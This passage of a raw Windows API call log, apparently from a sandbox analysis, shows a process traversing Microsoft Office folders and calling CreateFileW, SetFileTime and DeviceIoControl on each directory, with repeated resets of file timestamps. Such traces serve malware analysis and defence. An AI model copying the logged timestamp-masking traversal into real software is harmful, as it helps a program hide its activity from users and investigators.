lpLastWriteTime=0x1a7f0d4) returned 0 [0145.011] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1f5a0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa1f5a0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.013] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.013] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1f5a0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa1f5a0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.023] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.023] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1f5a0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa1f5a0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.028] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.028] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa24a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa24a70, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.033] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.033] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa260e8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa260e8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.039] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.039] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa2b838, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa2b838, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.044] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.045] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa339b8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa339b8, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.053] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.053] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa339b8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa339b8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.057] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.057] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa30d30, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa30d30, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.060] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.060] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa30d30, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa30d30, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.063] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.063] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa30d30, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa30d30, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.066] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.066] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa30d30, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa30d30, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.071] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.071] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa30d30, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa30d30, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.081] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.081] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa53ad8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa53ad8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.087] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.087] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa56ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa56ee0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.092] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.093] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.099] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.099] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa71438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa71438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.102] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.102] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa71438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa71438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.107] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.107] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa71438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa71438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.113] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.113] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.117] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.117] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.120] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.120] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.122] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.122] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.125] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.125] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.128] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.128] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.131] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.131] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.134] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.134] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.136] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.136] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.141] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.141] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.143] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.143] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.145] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.145] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.148] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.148] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.152] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.153] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.155] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.155] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, 